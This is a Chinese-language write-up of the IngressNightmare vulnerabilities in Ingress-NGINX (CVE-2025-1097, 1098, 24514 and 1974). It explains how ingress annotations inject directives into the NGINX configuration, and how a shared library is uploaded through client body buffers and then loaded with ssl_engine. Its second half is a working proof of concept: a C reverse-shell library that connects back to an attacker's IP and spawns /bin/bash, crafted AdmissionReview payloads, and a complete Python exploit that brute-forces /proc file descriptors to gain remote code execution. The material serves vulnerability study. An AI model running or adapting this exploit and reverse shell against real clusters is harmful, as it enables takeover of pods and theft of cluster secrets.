# CVE-2025-1097、CVE-2025-1098、CVE-2025-24514、CVE-2025-1974 分析報告
## Overview
Ingress-NGINX 是一個 Ingress controller 可以拿來讓 Kubernetes 的 application 暴露到外網,他會接受傳入的流量,並且架接到相關 Kubernetes 服務,那 Kubernetes 服務又會基於一組原則把流量轉發到 POD,總結來說 Ingress-NGINX 是做反向代理的
那官方也在文件直接推薦使用 Ingress-nginx 作為 Ingress controller
## Product Version
- Ingress-NGINX 1.11.5 以下的版本
## Root Cause Analysis
### Remote NGINX Configuration Injection
處理傳入的請求時,Admissin controller 會基於模板跟 ingress 生成臨時的設定文件,並且會使用 nginx -t 測試是否有效
```go=
// testTemplate checks if the NGINX configuration inside the byte array is valid
// running the command "nginx -t" using a temporal file.
func (n *NGINXController) testTemplate(cfg []byte) error {
...
tmpfile, err := os.CreateTemp(filepath.Join(os.TempDir(), "nginx"), tempNginxPattern)
...
err = os.WriteFile(tmpfile.Name(), cfg, file.ReadWriteByUser)
...
out, err := n.command.Test(tmpfile.Name())
func (nc NginxCommand) Test(cfg string) ([]byte, error) {
//nolint:gosec // Ignore G204 error
return exec.Command(nc.Binary, "-c", cfg, "-t").CombinedOutput()
}
```
不過通常只有 Kubernetes API 可以發送這一種 request,但因為 admission controller 缺乏驗證,所以如果有訪問的權力就可以去製造特定請求並且從任意 POD 發送
先使用 Kube-Review 創建 Ingress Resource 的 request,並透過 HTTP 直接傳送到 admission controller
```
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "732536f0-d97e-4c9b-94bf-768953754aee",
...
"name": "example-app",
"namespace": "default",
"operation": "CREATE",
...
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "example-app",
"namespace": "default",
...
"annotations": {
"nginx.ingress.kubernetes.io/backend-protocol": "FCGI"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "app.example.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "example-service",
"port": {}
}
}
}
]
}
}
]
},
...
}
}
```
可以發現我們可以控制很多部分,並且 annotation parser 會 parse .request.object.annotations 的部分,該部分會被放進去 nginx 的設定文件中,可以用來注入指令
### CVE-2025-24514 – auth-url Annotation Injection
[authreq](https://github.com/kubernetes/ingress-nginx/blob/0ef18ba7fb7ffe5491bbabbb510eee0d17e3ae2a/internal/ingress/annotations/authreq/main.go#L309) parser 負責身分驗證相關的部分,檔案需要設定一個 auth-url,包含一個 url 並且傳送到設定文件中
```go=
func (a authReq) Parse(ing *networking.Ingress) (interface{}, error) {
// Required Parameters
urlString, err := parser.GetStringAnnotation(authReqURLAnnotation, ing, a.annotationConfig.Annotations)
if err != nil {
return nil, err
}
```
建立臨時設定檔時 $externalAuth.URL,沒有經過驗證即進行合併
```
proxy_http_version 1.1;
proxy_set_header Connection "";
set $target {{ changeHostPort $externalAuth.URL $authUpstreamName }};
{{ else }}
proxy_http_version {{ $location.Proxy.ProxyHTTPVersion }};
set $target {{ $externalAuth.URL }};
{{ end }}
```
像是以下的樣子
```
nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\ninjection_point"
```
最後請求就會像是
```
...
proxy_http_version 1.1;
set $target http://example.com/#;
injection_point
proxy_pass $target;
...
```
### CVE-2025-1097-auth-tls-match-cn Annotation Injection
問題出在 [authtls](https://github.com/kubernetes/ingress-nginx/blob/main/internal/ingress/annotations/authtls/main.go) parser,處理 auth-tls-match-cn,使用 [CommonNameAnnotationValidator](https://github.com/kubernetes/ingress-nginx/blob/8105f0861fbd69558e58c52f93540c81edad3a4f/internal/ingress/annotations/parser/validators.go#L128) 做驗證
```go=
func CommonNameAnnotationValidator(s string) error {
if !strings.HasPrefix(s, "CN=") {
return fmt.Errorf("value %s is not a valid Common Name annotation: missing prefix 'CN='", s)
}
if _, err := regexp.Compile(s[3:]); err != nil {
return fmt.Errorf("value %s is not a valid regex: %w", s, err)
}
return nil
}
```
與 CVE-2025-24514 相似,`$server.CertificateAuth.MatchCN` 對應到 `auth-tls-match-cn`
```
if ( $ssl_client_s_dn !~ {{ $server.CertificateAuth.MatchCN }} ) {
return 403 "client certificate unauthorized";
}
```
嘗試以下設定
```
nginx.ingress.kubernetes.io/auth-tls-match-cn: "CN=abc #(\n){}\n }}\nglobal_injection;\n#"
```
最後設定會像是以下的樣子
```
...
set $proxy_upstream_name "-";
if ( $ssl_client_s_dn !~ CN=abc #(
){} }}
global_injection;
# ) {
return 403 "client certificate unauthorized"; }
...
```
為了讓 `auth-tls-match-cn` 出現在設定中,會需要提供 `nginx.ingress.kubernetes.io/auth-tls-secret`,像是對應於 cluster 中存在的TLS 證書或 Keypair Secret,並且由於 ingress nginx 使用的帳戶可以訪問 cluster 的所有 secret,所以可以從任何 namespace 指定 secret,只要跟 TLS 證書或 Keypair Secret 對應即可,除此之外,預設情況有許多受託管的 Kubernetes 都有,例如以下列表
```
kube-system/konnectivity-certs
kube-system/azure-wi-webhook-server-cert
kube-system/aws-load-balancer-webhook-tls
kube-system/hubble-server-certs
kube-system/cilium-ca
calico-system/node-certs
cert-manager/cert-manager-webhook-ca
linkerd/linkerd-policy-validator-k8s-tls
linkerd/linkerd-proxy-injector-k8s-tls
linkerd/linkerd-sp-validator-k8s-tls
```
### CVE-2025-1098 – mirror UID Injection
mirror notation parser,這邊[程式碼](https://github.com/kubernetes/ingress-nginx/blob/bacee47448595e0cf328d420518cde3e1258fe97/internal/ingress/annotations/mirror/main.go#L115)用來處理 UID,並且會插入臨時的 nginx 設定的 [$location.Mirror.Source](https://github.com/kubernetes/ingress-nginx/blob/f32b6dda0545d4e7f72d632d30106ea99a0a1147/rootfs/etc/nginx/template/nginx.tmpl#L1123),因此可以控制 `ing.UID` 欄位,而這邊是注入在 UID 參數,不是 Kubernetes 註解,所以不適用於 regex 的檢查,會直接被插入設定,所以可以繞過上下文直接 inject 任意設定指令
### CVE-2025-1974 - NGINX Configuration Code Execution
可以繞過路徑限制並訪問未經授權的節點,可以將指令注入 nginx 設定並且透過 nginx -t 測試,因此如果可以在 nginx -t 找到執行任意代碼的指令,就可以破壞 POD 並且拿到高權限的 kubernetes role,不過 nginx 設定只是用來測試所以沒有被實際應用,因此減少實際使用到的指令數量,可用的 nginx 指令如下

而 load\_module(用來加載 share library 的指令),只能在開頭使用,因此注入 load module 會失敗,那我們可以再查看 ingress nginx controller 有事先 compile 什麼 module([link](https://github.com/kubernetes/ingress-nginx/blob/29513e8564a9a7efd0bf2dfdc86fd2eece190185/images/nginx/rootfs/build.sh#L488)),就會發現 SSL\_Engine 也可以 load share library,那這個指令就可以放在設定的任何地方使用,所以適合我們拿來 inject,所以可以透過在 nginx 測試階段去做 load arbitrary library,因此我們可以再進一步思考要怎麼在 POD 文件系統放置 share library
### Uploading a shared library with NGINX Client Body Buffers
與 nginx -t 跟 admission controller 相同,POD 會執行 nginx 本身,並且 listen 在 80 或 443 port
處理 request 時,nginx 有時候會將 request 保留到 temporary file( [client body buffering](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_buffer_size)),這種情況發生於 request size 太大的時候,所以我們可以發送一個較大的 request,包含我們的 payload,這時候就會將 temporary file 存放到 POD 的 file system 文件,不過 nginx 會立即刪除 file,所以不太好利用,但 nginx 會包含一個指向該文件的 descriptor,可以從 [ProcFS](https://docs.kernel.org/filesystems/proc.html) 訪問
為了讓 file descriptor 一直開啟,可以讓 request 的 content-length header 設定大於實際大小,這樣 nginx 就會繼續等待,會導致 nginx 卡住,可以讓 file descriptor 打開更長時間,這個方式的唯一缺點是我們會在另一個 process 創建文件,所以沒辦法使用 /proc/self 訪問,所以只能使用猜測 PID 跟 FD 才可以找到 shared library,但因為這是一個較小的 process 所以可以快速暴力出來
### From Configuration Injection to RCE
所以綜合起來我們可以串起漏洞進行 RCE
1. 透過濫用 nginx client 的 buffer feature 上傳 shared library
2. 向 ingress nginx controller 的 admisstion controller 發送包含 injection payload 的 AdmissionReview request
3. 透過 `ssl\_engine` 可以去 load shared library
4. 指定 ProcFS 到 file descriptor
5. 最後就 load shared library 並且 RCE
## PoC
### 環境建置
可以透過 https://mp.weixin.qq.com/s/JjdtzRVin9zedz8bdHh9Rg 架設,但步驟相對複雜且困難,所以使用 vulhub 建置好的 docker images
```yml=
services:
k3s:
image: vulhub/ingress-nginx:1.9.5
privileged: true
environment:
- K3S_KUBECONFIG_MODE=666
ports:
- 30080:30080
- 30443:30443
```
shell.c:用來開 reverse shell
因為是用 shared library 的方式,所以要以此編譯
```sh=
gcc -shared -fPIC -o shell.so shell.c
```
```c=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
__attribute__((constructor)) static void reverse_shell(void){
char *server_ip = ""; // 填入 IP
uint32_t server_port = ; // 填入 port
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0){
exit(1);
}
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
if (connect(sock, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) != 0){
exit(0);
}
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
char *args[] = {"/bin/bash", NULL};
execve("/bin/bash", args, NULL);
}
```
Configuration Injection
參考:https://github.com/Esonhugh/ingressNightmare-CVE-2025-1974-exps/blob/main/nginx-ingress/validate.json
```
admission_json = """
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "3babc164-2b11-4c9c-976a-52f477c63e35",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "minimal-ingress",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
"uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6"
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "minimal-ingress",
"namespace": "default",
"creationTimestamp": null,
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\\n\\nssl_engine ../../../../../../../REPLACE\\n\\n"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "test.example.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "kubernetes",
"port": {
"number": 443
}
}
}
}
]
}
}
]
},
"status": {
"loadBalancer": {}
}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
"""
```
exploit.py
```py=
import base64
import time
import requests
import sys
from urllib.parse import urlparse
import threading
from concurrent.futures import ThreadPoolExecutor
import urllib3
import socket
import os
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
ADMISSION_URL = "https://localhost:30443/networking/v1/ingresses"
INGRESS_URL = "http://localhost:30080/fake/addr"
SHELL_FILE = "shell.so"
NUM_WORKERS = 10
admission_json = """
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "3babc164-2b11-4c9c-976a-52f477c63e35",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "minimal-ingress",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
"uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6"
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "minimal-ingress",
"namespace": "default",
"creationTimestamp": null,
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\\n\\nssl_engine ../../../../../../../REPLACE\\n\\n"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "test.example.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "kubernetes",
"port": {
"number": 443
}
}
}
}
]
}
}
]
},
"status": {
"loadBalancer": {}
}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
"""
def send_request(admission_url, json_data, proc, fd):
print(f"Trying Proc: {proc}, FD: {fd}")
path = f"proc/{proc}/fd/{fd}"
replaced_data = json_data.replace("REPLACE", path)
headers = {
"Content-Type": "application/json"
}
full_url = admission_url.rstrip("/") + "/admission"
try:
response = requests.post(full_url, data=replaced_data, headers=headers, verify=False, timeout=1)
print(f"Response for /proc/{proc}/fd/{fd}: {response.status_code}")
except Exception as e:
print(f"Error on /proc/{proc}/fd/{fd}: {e}")
def admission_brute(admission_url, max_workers=10):
with ThreadPoolExecutor(max_workers=max_workers) as executor:
for proc in range(30, 50):
for fd in range(3, 30):
executor.submit(send_request, admission_url, admission_json, proc, fd)
for proc in range(160, 180):
for fd in range(3, 30):
executor.submit(send_request, admission_url, admission_json, proc, fd)
def exploit(ingress_url, shell_file):
if not os.path.exists(shell_file):
print(f"Error: Shell file '{shell_file}' not found")
sys.exit(1)
so = open(shell_file, 'rb').read() + b"\x00" * 8092
real_length = len(so)
fake_length = real_length + 10
parsed = urlparse(ingress_url)
host = parsed.hostname
port = parsed.port or 80
path = parsed.path or "/"
try:
sock = socket.create_connection((host, port))
except Exception as e:
print(f"Error connecting to {host}:{port}: {e}")
sys.exit(1)
headers = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"User-Agent: lufeisec\r\n"
f"Content-Type: application/octet-stream\r\n"
f"Content-Length: {fake_length}\r\n"
f"Connection: keep-alive\r\n\r\n"
).encode("iso-8859-1")
sock.sendall(headers + so)
response = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
print("[*] Response:")
print(response.decode(errors="ignore"))
sock.close()
def main():
print(f"[*] Using shell file: {SHELL_FILE}")
print(f"[*] Admission URL: {ADMISSION_URL}")
print(f"[*] Ingress URL: {INGRESS_URL}")
print(f"[*] Workers: {NUM_WORKERS}")
print("[*] Starting exploit...")
x = threading.Thread(target=exploit, args=(INGRESS_URL, SHELL_FILE))
x.start()
time.sleep(2)
admission_brute(ADMISSION_URL, max_workers=NUM_WORKERS)
if __name__ == "__main__":
main()
```

## reference
[https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities](https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities)
[https://mp.weixin.qq.com/s/JjdtzRVin9zedz8bdHh9Rg](https://mp.weixin.qq.com/s/JjdtzRVin9zedz8bdHh9Rg)
[https://blog.csdn.net/leah126/article/details/147160597](https://blog.csdn.net/leah126/article/details/147160597)